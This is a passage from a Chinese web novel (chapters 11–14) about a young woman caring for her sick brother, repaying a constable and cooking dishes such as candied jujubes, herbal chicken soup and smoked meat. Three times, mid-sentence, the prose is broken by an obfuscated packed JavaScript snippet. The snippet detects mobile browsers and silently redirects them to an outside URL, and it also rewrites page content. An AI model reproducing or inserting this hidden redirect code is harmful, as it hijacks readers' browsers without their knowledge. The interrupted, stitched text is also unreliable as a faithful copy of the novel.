谢玉珍很快就将肉饼都下了肚，饿了吃什么都好吃的，饿劲儿过了就觉得油腻偏咸了，比不上她自己坐到，但现在也没什么可挑的，而且还是别人的心意。 还是那句话，饿鬼，除了死了亲娘，没人会对一个香喷喷的肉饼有过多的意见。 11. 枣子芯的冰糖葫芦 天光从淡黄色的窗纸透进来，刺在谢玉珍带着青紫色血脉的眼皮上，如同蝶翼的睫毛慌张地扇动了几下后终于不舍地请出了清凌凌的眼珠子。 原来是天亮了，谢玉珍揉了揉酸疼的手臂和脖颈，站起来活动，坐了一夜，腿都麻了。 昨日还答应别人今早会来摆摊，没料到还是失约了，可真是不好。 不知道什么时候才能出去，她忧心，不知道谢朗现在怎么样了，有没有退烧，吃不吃得下药，有没有醒呢？ 快到中午的时候，锁着的门咿呀一声，从外面被打开了。 “谢小娘子，你可以走了。”李香君手上拿着锁，对着她说道，“从侧门出去，不会有人看到。” 谢玉珍向对方福了一礼，匆匆走了出去，她得早些回去照顾谢朗才是。 李香君本想相送一下，思虑过后还是作罢了。 走在街上，便听见街上有不少人在讨论，说是昨晚潘家不知道为啥起火了，几乎烧了一半，幸亏他家里有一个水塘隔着，才不至于烧到隔壁去。 真是可惜潘大官人了。 可怜潘大官人了，他有什么好可怜的，谢玉珍冷笑，不过是罪有应得，她都没动手，就自有“天”收了。 为人豺狼，也需懂得身家性命都系在主人一念之间吧。 “玉珍，你终于回来了，朗哥儿已经醒了，正找你呢。”大夫家门口，长大娘子与她一下子打了照面，喜笑颜开说道。 谢玉珍闻言连忙跑了进去。 “女兄。”谢朗虚弱地朝她笑，谢玉珍本来想强忍住自己的情绪，这一下子看到他的笑容绷不住了，掉下泪来。 “朗哥儿好好吃药，不要留下什么病来。”她坐到谢朗旁边，哽咽着叮嘱，“你想吃什么，我回去给你做。” “女兄，药好苦，我不想喝药。”谢朗声音发虚，“我身体好，不吃药也能好。” 谢玉珍用手绢擦他额头的汗：“糖葫芦吃不吃？家里还有好多新鲜枣子，女兄给你做糖葫芦好不好？” “好！”谢朗勾起唇角，开心起来，糖葫芦这种食物他不常吃的，谢玉珍一说，他竟也馋嘴起来。 “那你要好好吃药，好不好？”谢玉珍哄道，“我这就回家给你做，晚上再来接你回家好不好？” “嗯。”谢朗答应道。 谢玉珍收拾心情，转身走了出去，张娘子跟上说道：“我昨天去县上找你，路上遇到一个长的特别俊的捕快，听见我在打听你，跟我说了你的情况，还有，县上送猪肉的昨天下午过来了，那钱那捕快给你垫上了，他是不是对你有意思啊?珍丫头，我还是得先跟你说一声，捕快不是什么好行当，就算那汉子之后不做了，三代之内也不能考官，你得考虑清楚啊。”她絮絮叨叨说道，显然是十分不看好李香君。 “张娘子，我现在不想这些。”谢玉珍无奈说道，“我只想好好把朗哥儿拉扯大，我就心满意足了，至于婚嫁之事，吃的教训已经够多了。” “诶，那也不能不嫁人啊。”张娘子一愣，立马改了口风，“其实，那汉子也不是不行。” 朝廷律例，满二十五未嫁人的女子要由官府分配婚事，到时候谁知道能分配到什么地痞流氓，自己都保不住了，谁还管子孙？ …… 好容易劝走了张娘子，谢玉珍将家里的糖全都拿了出来，又把要用的枣子重新清洗了一遍，家里没有竹签子，只好现削了。 枣子有一点破皮损伤的都要挑出来，选出来好看红的，在太阳下面晒干水分。谢玉珍从柴火堆里找出来一根竹子，将签子一根根削好，洗干净后和枣子一起晾晒。 做糖葫芦最好是用糖霜来煮汤，白糖更贵，而且蘸出来不亮堂。 谢玉珍把院子里的石墩表面擦干净用油刷了一遍后，便开始在灶前烧火，一碗糖霜半碗水的比例去熬煮，用中火熬，开锅前可以随意搅动几下，促进糖融化的速度，开锅之后就不可以了，因为会反沙。 开锅之后转成小火熬，等到糖水起大气泡并且微微发黄的时候，谢玉珍拿筷子蘸取一点糖液放进旁边碗里的凉水中，咬一口声音清脆不粘牙，这就已经熬好了。 谢玉珍早在烧火之前提前穿好了枣子，此时把穿着枣子的签子拿在手上，往动弹的糖泡里迅速翻滚后立马拿出来，然后把蘸好糖的枣子甩在石墩桌面上，这样才有连片的糖风。 糖葫芦表面的糖是越薄越见功夫的，谢玉珍做好所有糖葫芦后，等着糖壳凝固，在这之后，拿起一根对着阳光看，糖壳颜色稍微暗沉，但十分薄，看的到枣子红的色青的色。 一般其实是用酸楂来制作糖葫芦的，味道也比枣子要丰富很多，酸甜口更受老少男女的喜爱。但家里现在果子只有枣子了，也没得挑。 大部分品种的枣子没成熟的时候是青草的味道，稍微成熟是微微带甜，成熟之后就是纯粹的甜，基本上谢玉珍没有见过酸的枣子。 因此这个糖葫芦也是那种纯甜不带一点酸的，小孩子应该喜欢的。 谢玉珍打灭灶里的火，锅里的糖液慢慢越来越粘稠，锅冷后糖液也不再鼓泡了，谢玉珍将糖葫芦都装好后往村口大夫家走。 ------------------------------------- “女兄，你怎么不吃呢？”谢朗皱着脸喝完药，幸福地舔着糖葫芦上的糖看向谢玉珍。 谢玉珍摇头，她不爱吃特别甜的东西，吃一口还行，吃多了特别腻：“太甜了，我不喜欢。等会儿给张大夫徒弟分一只，听到了吗？我要去镇上一趟，晚上来接你，你乖乖的。” “嗯，我知道了。”谢朗点头。 “行，我先走了。”谢玉珍摸了一把谢朗毛茸茸的头，起身离开了，那二百一十五文铜子，她还得给李香君送过去呢。 已经欠下好大的人情了。 谢玉珍回到家里，拿出压箱底的硬块，拿剪子绞下来一块后拿小称称了一下，又默默剪了一块丢上秤盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780300|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还要多给一些才好，别人帮忙，原价还回去，就不太好看了。 去到衙门的时候，谢玉珍扑了空，李香君并不在衙门。 之前在她哪里吃汤饼的一群人也没一个人在，谢玉珍想了想，挎着竹篮坐在了离衙门不远的凉茶摊要了一碗茶，他们巡逻总会路过这边，到时候把钱还给李郎君就该回去了，谢朗落水后身体虚弱，她还得回去炖补汤，去山里采些蘑菇山笋，这些最补气了。 卖凉茶的是一对老人夫妻，夫唱妇随，看上去很相爱的样子。 “谢谢大娘。”一碗冒着热气的凉茶被大娘轻轻放在桌案上，草药的奇异香气闻着也好像浑身凉快了，“过不了多久天气就凉下来了，你们到时候还卖凉茶吗？”她问道。 “一年之中，凉茶卖两季，红枣茶卖两季，勉强够过活。”大娘笑呵呵地回她，大娘虽然穿的衣服都细的有些旧了，袖口此处还有深蓝色的补丁，但精气神儿很好。 “您和大爷感情一定很好吧。”谢玉珍感叹，大娘脸上的皱纹都是慈祥的，一看生活里就很少受气，过的不幸福的人面相也会不一样，气场也让人能一眼看穿。 大娘利落地给客人送茶，现在入秋了，凉茶摊的客人也没有多少了，大娘做完手里的活儿就做到这个年轻的小娘子桌前和她攀谈起来：“还行，早年他老跟我过不去，没少吵架，现在，两个人心意一通，什么就都好了。”大娘不无骄傲地说道。 “我看也是呢。”谢玉珍说道，“世上恩爱两不疑到面和心不和多少怨偶，结的果子慢些，只要够甜，又有什么不可等的呢？我看大娘你们是世上一等一眷侣呢。”她开口夸道。 大娘虽然不太听得懂谢玉珍在说什么，但也听得出来是好话，夸他们夫妻感情好呢，“姑娘长的好看，嘴巴说出来的话也漂亮，什么时候我家那个冤家能学学就好了。”大娘握住谢玉珍的手，越看这小姑娘越喜欢—— 长的多俊多讨喜啊，嘴巴还甜。 “人和人各不相同，大娘和大爷现在这样相处已经很好了。”谢玉珍一看那大爷就是不善言辞的，他可不想害了他，劝道。 大娘点了点头，她其实就那么随口一说，没多想，希望老头子没听到她说话才好。 世上人各不相同，她的道路还迷茫，她现在只想着要活的好，活的有尊严，她要好好活，活给上辈子的自己看。 路上巡逻的捕快喜洋洋的走过来—— “抓到一个落单的山匪奸细。头儿，回去赏钱有不少吧？”一个捕快踢了被绑住的凶神恶煞的男人一脚，转过头就笑盈盈地问李香君。 “嗯，这种一般赏银有二两，还有我们县和周边县商人发的悬赏金，大家分一分，一人差不多能分两贯铜钱呢。”两贯钱，够贫困三口之家半年的花销，何况他们这些人都年轻，要么家里有支持，要么没孩子，要么没成亲，这么些钱够单身汉快活很久了。 “李郎君！” 一道清脆如碎珠落玉盘的声音响起。 12. 八珍汤 李香君一眼便看见坐在茶摊边对他招手的少女，她背对着光，发丝泛着金光，看不清面容，发丝被秋风吹得飞舞起来，这一刻，光都对她有十分的眷恋。 他心向往之，不可取之。 “谢小娘子。”李香君一群人走上前去，“有什么事吗?” 谢玉珍拿出碎银子放在桌子上，推到李香君的近处：“昨日的事情，我不知道如何感谢才好，心中十分过不去，只好先把您垫的买肉钱先过来还给您，其他的以后必定报恩。” 李香君手一掠，收起了桌子上的银子，脸上难免表露出一两分的情绪，但转瞬即逝。 “郎君放心，我称过的，只多不少。”谢玉珍敏锐地察觉到对方那一瞬间的表情，连忙补充说道，“这些是我做的甜食，不足挂齿，李郎君拿出尝尝吧。”说着，她把竹篮递给对方 “我知道。”李香君将银子收进袖子里，提起篮子，扯出笑来，“这些银子便够了，昨日之事不过是举手之劳，不值得什么，谢小娘子不必挂在心上。”说完，他豁达地转身走了。 “头儿，你怎么不和谢小娘子多说几句啊，多好的机会。”沈二最了解他这个兄弟，恨铁不成钢地说道，转头看了一眼，对方的脸都远的看不清了。 “别瞎说。”李香君斥责，他垂着眸子，鸦睫在眼下落出一片阴影，“世间对女子诸多苛责，别污她清誉。更何况，我家什么情况你难道不清楚吗？” 重病的娘，难缠的亲戚，早死的爹。 再说，捕快属于贱籍，何必害了人家女子？当时当捕快，也是因为家中实在缺钱，后面觉得能保护一方安定也很好，就到现在了。 “行了，不说了，回去领赏吧。”李香君见沈二还要说什么，连忙岔开话题。 来到县衙的时候，他打开竹篮一看，竟然是糖葫芦，晶莹剔透地躺在瓷盘中，一点都没有化，他将这些都分了，自己只留了一串。 真的是很甜。 ------------------------------------- 谢玉珍将钱还给李香君后，在街上买了一只鸡后匆匆回去了。 她决定做八珍汤，给谢朗好好补一补。 八珍汤的主要食材要看是想补哪一方面，谢朗落水后身体寒凉，因此她选择鸡肉，鸡肉性温，滋补效果很好。 回到车村镇后，谢玉珍先是来到回春堂抓药，堂中坐着一个年轻的学徒，见有客人进来，连忙招呼道：“午安，看病还是抓药？” “抓药。”谢玉珍在柜台前站定，“我要党参、白术、茯苓、川芎、当归、熟地、白芍各一钱八，炙甘草一钱二。给我包一起就行。”谢玉珍说道。 那学徒一听就听出来，转身在药柜里抓药出来称：“家中有人得寒症？” “给我弟弟补身体。”谢玉珍回答道。 “一共八文。”那学徒利落地给药包打了个结递给谢玉珍。 回到家后，谢玉珍就拿起背筐和小锄头，要去山里采山鲜，她把头巾重新扎紧，拿起物什就出了门。 这边的山不算特别高，常常有大人恐吓孩子说山里有大型野兽，其实也没人见过，不过蛇呀狼啊之类的，就说不准，但因为四周有人烟，因此野兽只敢在深山行动，她不往里面走就是。 秋天的大山是自然给人们最好的宝藏，菌菇，野果，各种美好的东西都在山里，等着人去发现。 还没完全进去，就在山脚发现一大片无人打理的茭白，也叫高笋、鱼笋，外表是嫩青色带着白，看着像小姑娘一样鲜亮。 生吃是脆甜的，但不太建议生吃，有点浪费了，这片茭白，谢玉珍思考了一下决定出来之后再来采。 一进去就有惊喜，因为除了砍柴的没什么人进来，山里的蘑菇基本没人采过，山里的竹林被大树挤压生存空间，长的都细细矮矮的，竹林地上不仔细看发现不了，有特别多裹着黑棕相间外衣的小笋子，枯叶是它最好的保护色。 谢玉珍拿出小锄头，挖的大概能填满背筐的底部，她就停手了，接着往里面走，不多远就到了比较阴凉的地方，这种地方是菌菇最喜欢的生长的环境，谢玉珍半蹲下，用锄头拨开落叶，找着菇子，不一会儿，就看到了一朵鸡枞。 蘑菇都是成片成片的长，这里绝对不只一朵，谢玉珍喜出望外，把锄头丢进背筐里，蹲下来采起鸡枞来，这里真的是生长了特别多读书蘑菇，不仅是鸡枞，还有牛肝菌之类的，颜色特别鲜艳的蘑菇谢玉珍不敢采，都敬而远之。 采了一会儿后，谢玉珍站起身，寻找被砍柴人砍倒的树桩或者丢弃的木头，上面很容易长黑木耳和银耳，黑木耳不说，晒干可以保存很久，银耳更是滋补的头一档。 终于在采到所有想要的菇子后，谢玉珍就打算打道回府了。 回去的路上，她眼尖地看见了山葡萄和羊桃树，这是意外之喜，野生的羊桃是酸甜味的，特别清口，营养价值也高，谢朗吃药口中苦，吃这个很合适。 野葡萄是小小的青色的果实抱在一起，口感是酸甜带涩，它更适合酿酒，酿造出来的酒水味道非常好，像果子挤压出来的汁水一样，而且不醉人，特别适合老人女人和孩子。 如果拿出去卖的话受众应该不用担心。 想到这里，她采了不少，特别是山葡萄，这一片的她几乎采光了。 采完果子后，谢玉珍望着天色，决定出山去，山脚下还是遇到那一片茭白，她放下背篓，先把果子拿出来，把采的茭白放进去后再把果子放在最上面，怕会压坏了。 回到家里，锅里的糖都凝固了，谢玉珍把糖铲起来用布包起来放进橱柜里，把锅又洗了一遍。 坐在台阶下处理笋子和茭白，这些需要把外面的皮剥掉，漏出里面脆嫩的芯，这才是最精华的部分。 笋子泡在水里，撕成一长条一长条的细丝，茭白切成片就行。 然后把蘑菇都拿出来洗干净放到一边备用。 先把一整只鸡剁成小块，冷水下锅焯水—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780301|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要焯水，因为鸡骨头里面有很多血液，如果不清理干净，不但汤浑浊而且还影响鲜味。 鸡肉煮开后把上面的浮沫撇掉，煮的时间太长，血渣会沾到肉上。 谢玉珍把鸡肉捞起来，用清水清洗干净，反复地洗过几遍，直到洗鸡肉的水洗成透亮。 谢玉珍把炖汤的砂锅和火炉找出来，点上火后，放入两片生姜和几个干枣，把鸡肉和水加进去。 这还不算完，谢玉珍取出一片纱布，撕出一块方正的，把买的药材都放进去扎紧，然后把药材包和笋子菌菇都放进去后，盖上砂锅盖炖煮。 炖的时候千万不能放盐，不然鸡肉会老。 这八珍老母鸡汤大概要炖半个时辰，这个时间，谢玉珍便动身把谢朗接了回来，去接的时候把药钱都结清了，这下，家里是真的没钱了，只剩昨天卖汤饼的几百文了。 成功变成了一个穷鬼。 谢玉珍苦笑，一定能赚回来的，塞翁失马，焉知非福。 谢玉珍从背筐里拿出一个羊桃把外面的毛刺搓洗干净塞到谢朗手里，温声道：“自己吃吧，别想别的，好好养好身体。” 谢玉珍坐在泥炉前看着火，两眼有些怔怔，不知道在想什么。谢朗时常看不懂她的眼睛，分明之前是很好懂的，现在就好像是蒙了一层灰一样，看不清辩不明了。 谢玉珍揭开砂锅的盖，一股白色的雾气向上喷涌，她特地让它多炖了一会儿，里面的鸡肉用筷子用力一夹就脱骨了。 因为是药材煮过的，多多少少有一点药味的，但被鸡汤的鲜美和干枣的甜醇牢牢压住，反而有种奇特的味道了，反正感觉不坏。 谢玉珍将几撮盐撒了进去，搅了几下后用木勺舀起一勺，吹了吹送进嘴里。 刚刚好，她想，不需要太咸的，她拿出碗给谢朗捞了一碗汤，汤里还有新鲜的菌菇和应季的秋笋，还多添几分菌菇的鲜，不光是喝，光是看着就知道十分美味。 菌子在汤碗动荡间上下浮沉，人间清欢皆在这一碗里面了，春秋两季，最应当品尝的，不就是各种蘑菇吗。 “女兄，这菇子真好吃，比肉还好吃！”谢朗夹起菇子送进嘴里，眼睛亮亮的说，一口热汤下去，本来沙哑的嗓子好像也没这么呕哑嘲哳了。 谢玉珍笑，她在这些美食中找寻活着的意义，又因一切美好的而争取活着，口腹之欲通脑，亲情之欲通心。 她正在拯救自己，灵魂游离在细绳之上，毫厘之间。 火星在炉子下崩裂，映衬进她的眼瞳，她的瞳仁中间一条橘红带金的细线上下跳跃，天色昏暗间仿佛一只鬼魅的猫。 “你病好后，直接去夫子那里读书。”谢玉珍将碗放在一边的桌子上，认真说道，“离秋分不过三五日，我不放心你一个人在家里。” “我知道了女兄。”谢朗低头，回应说，他知道，他吓到女兄了，如果不听女兄的，她不会安心。 他不舍得女兄担心，他要好好读书，做女兄最坚硬的盔甲。 13. 糊卜 病去如抽丝，谢朗本来身体就不属于健朗的那种，这一病，断断续续过了秋收才好，谢玉珍这才终于脱手可以做自己的事了。 那些肉，谢玉珍也全做了熏肉了，肉是不耐放的，要尽快处理，骨头给谢朗熬汤喝了，这段时间她自己脸颊也丰满许多，从前是很清瘦的，补谢朗的汤，给她自己也补了个精气神满。 这些日子虚汗也不常出了，之前一病的沉疴也完全好了。 谢玉珍用油纸包好糖块放在她给谢朗准备的背包里，还往里面放了几文钱：“明日去书塾的时候买些纸，把字要练好，听到了吗？”她低眉垂首问道。 “朗记得了。”谢朗乖巧回应道。 “我想过了，你明日和我一起过去，明早卖糊卜，我去镇上的时候你去书塾，我去码头附近摆摊，这个味道重些，也更饱腹，适合那些卖力气的，等我攒够钱，就在镇上租一家铺子卖吃食，以后就不用早起晚归了。”谢玉珍手上捻着针刺绣，这些天闲暇，她接了县上成衣铺子的一笔单子，这是最后一块绣帕了，差最后一针收尾。 谢玉珍拿小剪子剪断丝线，将线头藏进花蕊里。 她本来想过去书塾当厨娘，可后面又觉得不妥，一个厨娘一个月拿那些死工钱，根本供不起一个读书人，她还是决心自己租一个铺子。 煎了五十个无油无盐的白面饼子之后，谢玉珍把面醒发着就催谢朗睡觉了，今晚的骨汤早熬在锅里了。 次日清晨天还没亮的时候，谢玉珍把东西收好，用竹盐漱口后将谢朗叫起来，秋天的早晨有露气也有雾气，还是很冷的，谢朗穿的是谢玉珍给他做的新衣服，谢玉珍给他把脖颈口鼻用布围起来保暖后，两人就出发了。 把谢朗送进学堂门口后，谢玉珍推着车去到了码头附近，途中提醒了卖水的换地方了。 码头附近地上植被丰茂，大概是因为离水源近，所以长的更好些。 巧的是，之前摆摊时遇到的那个疼爱妻女的男人正好迎面走过来，两人对视，竟都愕然，都觉太凑巧。 “小娘子今日怎么来这里摆摊？”他问道。 “今日多添了糊卜。”谢玉珍解释，那汉子听了也明了，的确他们这些人卖力气活就口重一些。 他和工友对视了几眼，便更确认了：“给我们一人来一碗糊卜吧，多少文一碗？” 谢玉珍指了指挂在车前面的木牌:“上面描刻了，糊卜七文钱，加肉片加一文。” “我们都要素的就行。”那些人叽叽喳喳道。 一群大男人便都挤在矮凳上等待，看上去很有些诙谐。 谢玉珍将洗干净的胡萝卜、青菜都拿出来，胡萝卜擦丝后她抬起头问：“郎君们吃芫荽吗？” “没有忌口，都来一点。”他们都说道，也是，这些在码头上卖力气讨生活的人根本不会挑食。 所有的饼子，经过一早上的捂都已经软了，谢玉珍拿起菜刀擦干净过一遍水就利索地把一张圆饼子切成条，一张饼子就是一碗的量，他们人多，口味又相同，便可以一锅出了。 谢玉珍热油把葱蒜炒香后，放入胡萝卜丝青菜翻炒，炒断生之后加入大半锅水，放进早先调制好的稀粟粉水，这样汤煮出来更浓稠黏糊，还有清甜味。 然后才是放进切好的饼丝和豆芽菜这种容易烫熟的菜，因为豆芽菜吃的就是一个脆嫩劲儿，软了反而不美。 由于饼丝本身就是熟的，所以不需要煮太久，不过一会儿汤上冒泡飘浮沫就可以捞出来吃了。 谢玉珍把他们的糊卜一一捞好，最后放进生芫荽，芫荽作为调味品是不需要烫熟的。 还不及端给他们呢，他们就各自过来端走了自己那份。谢玉珍笑，其实这些人没世人嘴巴里说的那样粗鲁、无礼，不爱洁净，人各有不同，是人的不对，不是人群的不对，人群是不能去定义对与不对的，这个世界不是非黑即白。 “大哥，你拿着。”谢玉珍叫住那大哥，将早就准备好的小块米糕递给对方，“上次说着第二天来，结果出了些意外，这是我自己做的，不要钱，大哥拿着尝尝吧。”她笑。 “谢小娘子了！”那大哥喜出望外，其他人也有些羡慕，但知道和他们没关系，也不作争论了。 因为现在还早，码头的船还没到，但搬货的人得提前过来等着，谢玉珍的五十张饼子很快就卖光了，其中有十个人加了肉，是八十文，五十碗一共是三百六十文钱。 今天的汤饼也卖了不少，只剩两碗的量没卖出去。谢玉珍便想着自己和谢朗吃了算了，今天赚很多了，中午不回去了，下午采买完东西再回去。 她将车推到之前摆摊的地方，那地方离书塾也很近，她便给了一个闲汉两文钱跑腿，让他去帮忙把谢朗叫出来吃饭。 此时之前很多买过汤的客人都经过这里，谢玉珍看见一一叫住了，把米糕给他们发出去，这一下大家纵然对她之前爽约有怨气，现在也尽数消减了。 谢朗那边听到有人找，心下就知道是女兄，除了女兄想不到别人。 “谢朗，你姐姐对你可真好，哪像我家里人，都不管我，让我在书院吃。”谢朗领座的男孩子充满怨念的看着他。 先敬衣冠后敬人，谢朗穿了一身新衣裳，一起的同窗打眼照面起码没有瞧不起他而排挤的。 不过一上午的相处时间，志趣相投的孩子三三两两结成了朋友，谢朗和他领座的男孩关系尚算融洽。 谢朗朝他点了点头，站起身向书塾外走去，虽然他没有什么表情，但脚步却越来越快，掩饰不住欢快的心情。 谢朗来到摊位前的时候，谢玉珍正在给客人发米糕，他在一边静静等人散了才走上前去。 谢玉珍看见他，嫣然一笑道：“过来了？”说着给他捞汤饼，“一边去坐着吧。” 谢朗不听，等她做好之后端着碗才到一边坐下，筷子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780302|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨下面是大块的炖肉，上面堆着的是用蒜苔煸炒过的腊肉，是今天早上从杆子上割下来的一小块肉炒出来的，把汤饼搅匀后上面的腊肉和蒜苔被推挤到每一个地方，每一口都可以吃到，因为没有放很多油的原因，也不会让这碗汤饼显得油腻。 这一碗，神仙来了也不换。 两个人坐在小车后面痛快地嗦着汤饼，吃完之后将汤也喝干净——毕竟是大骨头熬的，特别香的，谁舍得浪费掉。 吃完之后，谢玉珍便催着谢朗回去了，书塾里有房舍，学子大多数都住在书塾，谢朗也不例外。 “女兄，我不在家的时候晚上你一定要把门堵紧呀。”谢朗走的时候还不忘叮嘱道，依依不舍地和她告别。 “知道了知道了，小啰嗦。”谢玉珍调侃，“人小鬼大，还有隔壁张娘子和张二郎，你怕什么？”更何况她是何等彪悍女子，村里人也不是没看见，现在谁敢惹她。 谢玉珍将东西都收好，推起车就回去，今天曹牛还要过来送柴火，她还得尽快回去呢。 路过杀猪匠的摊位，谢玉珍停下：“和上次一样哈大哥。” 杀猪匠点头后她便去采买蔬菜之类的了，在院子的菜还没长出来之前都得买。 买完东西后谢玉珍便不耽搁赶路回去了，方才到家门口，就看见曹牛坐在矮阶上等，柴放在了一边的墙上。见她回来，曹牛连忙迎了上去。 “谢小娘子！”曹牛怀里似乎抱着什么东西，谢玉珍把车停住走上前去接过他递过来的不知名的东西。 原来是一把很小的晒干的河虾。闻着有些腥味，但还好。 煮汤的话很合适。 “这是？”谢玉珍嗅了嗅手上的虾干，疑惑看向曹牛。 “这是我婆娘晒的河虾干，她说您老照顾我们生计，让我给您送点过来一点尝尝，不算什么，您别笑话。”曹牛黝黑的脸有些羞涩，带着底层百姓的淳朴。 谢玉珍将一粒虾干含进嘴里，河鲜，重在鲜字，这当然是鲜的，但腥味也不可忽视，只不过在人的承受范围之内，对于靠近河边的人家来说，是个不错的消遣。 拿来做菜做粥更合适，还能弄些卤水做凉菜。 谢玉珍将虾干轻轻吐在帕子上：“你家有多少这个？都卖给我吧。”她望向曹牛，问道。 曹牛有些惊喜，连忙说道：“我婆娘在家里没事干就晒这个，家里大概还有几十斤呢，没想着拿这个赚钱，是家里孙子嘴馋，我给孙子留几斤，剩下的明天都给您送过来，您看好不好？”他小心翼翼询问道。 怕她后悔，谢玉珍不会后悔，她做什么菜都会成功的，就像她刺绣一样。 “可以。”她将二十文钱交给对方，“这是定金，明天送过来之后，我把剩下的钱给你，这是我做剩的米糕，拿回家给孩子尝尝，孩子肯定高兴。”她干脆将将没送完的米糕都给了他。 明天做油爆韭菜虾干好了。 14. 热梅子酒的下酒菜是爆炒葱段虾干，隔壁小狼…… 之前腌的第一批肉已经洗干净晾晒了快二十天，已经可以准备熏肉了，在熏过之后，这才能被称作熏肉，才会有别于腊肉的风味与香气。 谢玉珍取下晾晒好的肉，都挂进了屋外不远处搭建的一个简陋的黄泥屋，这个屋子是这个月搭的，三面没开窗，唯一的透气点就是大门，大门建的很高，门槛里面比外面低很多。 将之前的干掉的柏树枝和松树枝点燃丢进屋内，火势起来的时候再将刚送来的带水份的柏树枝和松树枝送进去，不一会儿就冒起了滚滚的浓烟，带着松针和柏树叶特殊的香气，有些呛人。谢玉珍又铲了一铁锹谷壳和文旦皮进去，作用也是为了丰富肉的香气和味道层次。 其实这个季节可以放点黄菊花，但谢玉珍不太喜欢就没放，也无伤大雅的。 在熏制的过程中要注意火候，小火慢烤就行。等到彻底熏好，大概还需要二十天的时间，到那时候，肉会从软变硬，从粉变红，诱人心脾的红。 时间的确要很久，世间好物不坚牢，大概美好的东西，比如酒肉，比如美人气韵，将相功名，都需要时间来发酵，才能更加沁人心脾，历久弥新。 今夜谢朗不在，谢玉珍终于能放肆一回，她看泥屋的火被压在灰下，只剩热量，不见火焰升腾蹦跃，终于将帘子掩上，回到院子里将院门关紧，从枣树下挖出一坛从前祖母给自己酿的梅子酒。 梅子酒倒出来不算很清澈，估摸不了度数，她早就想喝了，之前一直没喝上，上辈子到死都没喝上自己的“女儿红”。 曹牛送来的虾干简单拿葱段和花椒炒了一下就是绝好的下酒菜。 天气渐渐冷了，到了夜间，谢玉珍穿的便略显单薄，一人在屋内小炉煮酒，梅子酒煮过之后微微有些发涩，其实在炽热的温度中滚过一遍后，酒早已经没有度数，更谈不上醉人了，一杯滚烫入杯再放得稍微凉一些的酒，入喉后会烫一激灵，但却不会痛，不一会儿就感觉到肚子传来暖和的感觉，这种感觉十分熨帖。 紧接着就是舌头上回味的甘甜，这时候再挟一筷子虾干，夹着葱段一起，葱在炒过之后辛辣会完全消失，只留下香味，两者一起吃口感特别丰富。 舌头在经历过“温泉”浸润之后立马就滚沸出了泡泡，咕噜咕噜冒个不停，筷子里不知觉间藏了一粒花椒，碎在谢玉珍的齿缝里，舌尖立马察觉到舔了过去，立马就受到了麻的攻击，整个口腔都滚沸起来。 这时候再抿一口小酒，舌头感觉有一点刺痛的感觉，这种感觉微微让人有些着迷，仿佛停不下来一般。 吃到最后，谢玉珍的嘴唇有些微微肿了起来，脸颊也泛着两坨红晕，头发用一根青色的布条简单扎了个侧边麻花垂在怀里，整个人脱离了平常的老练成熟的气质，变得娇俏起来，更像是一位少女了。 其实她才十七岁呢，就是一名少女。 夜晚风刮的有些大，屋里面还能听到呼啸的声音，她有些担心，如果这个季节聘只猫官儿或者买只狗儿回来，会不会养不活，还是要等开春再说。 可是现在做生意家里总是会放着些钱，怕她不在的时候会遭贼，越早买只狗儿回来其实越好。 狗儿得买那种刚断奶的，早了养不活，晚了养不熟。 夜晚的风越发大了，外面滚腾的肉汤的香味也从窗子缝隙里挤进来，温热的仿佛一场最寻常的花火。 谢玉珍打了个哈欠，披着衣裳回房间安憩了。 次日，她起的更早，可能是昨夜喝了些酒，晚上睡得更沉些，竟也没做那些让人烦扰的梦，早上精神很多。 她先是往黄泥高屋里加了松柏柴火，然后从角落里掏出几片比较完整的瓦，她打算做瓦片炙肉，虾干泡水复原后，应该也是可以这样做的。 把昨晚上留下来的二两肉切成薄片，外边几块砖架好一个简单的矮灶，把瓦片洗干净后放在上面，用马毛做的刷子往上面涂了一层油后等它烧的滋滋作响，将肉片用筷子放上去。 肉立马就变色了，一面煎几秒就翻面，两面都是淡淡的黄色，如果能煎出来橙黄色的薄薄的焦壳更香，这比较考验手法。 花椒干和芥菜疙瘩切一块放进臼里磨到没有大疙瘩，成团但不粘的样子，挖出来后兑水，就是辣味的调料汁，单独再研磨一份花椒粉。 将调料汁刷到肉上，一股子刺激的味道立马飘散开，驱散开早晨的寒意，辣味是从中原人启蒙来念念不忘的味道，酒的辣，菜的辣，还有人的辣。 肉在煎熟之后脱水萎缩变小，上面都是麻辣的汁水，最后再撒一层花椒的粉末就完成了。这份炙肉谁能拒绝呢。 泡的复水的虾干不用抹调料汁，河鲜本身就有鲜味，用辣味掩盖就难免有些可惜，用葱卷过后放在瓦片上烤到葱叶变成深绿色，鼻子里葱香挥之不去就可以挟起来了。 将两个分开包起来放到车上，就可以出发了。 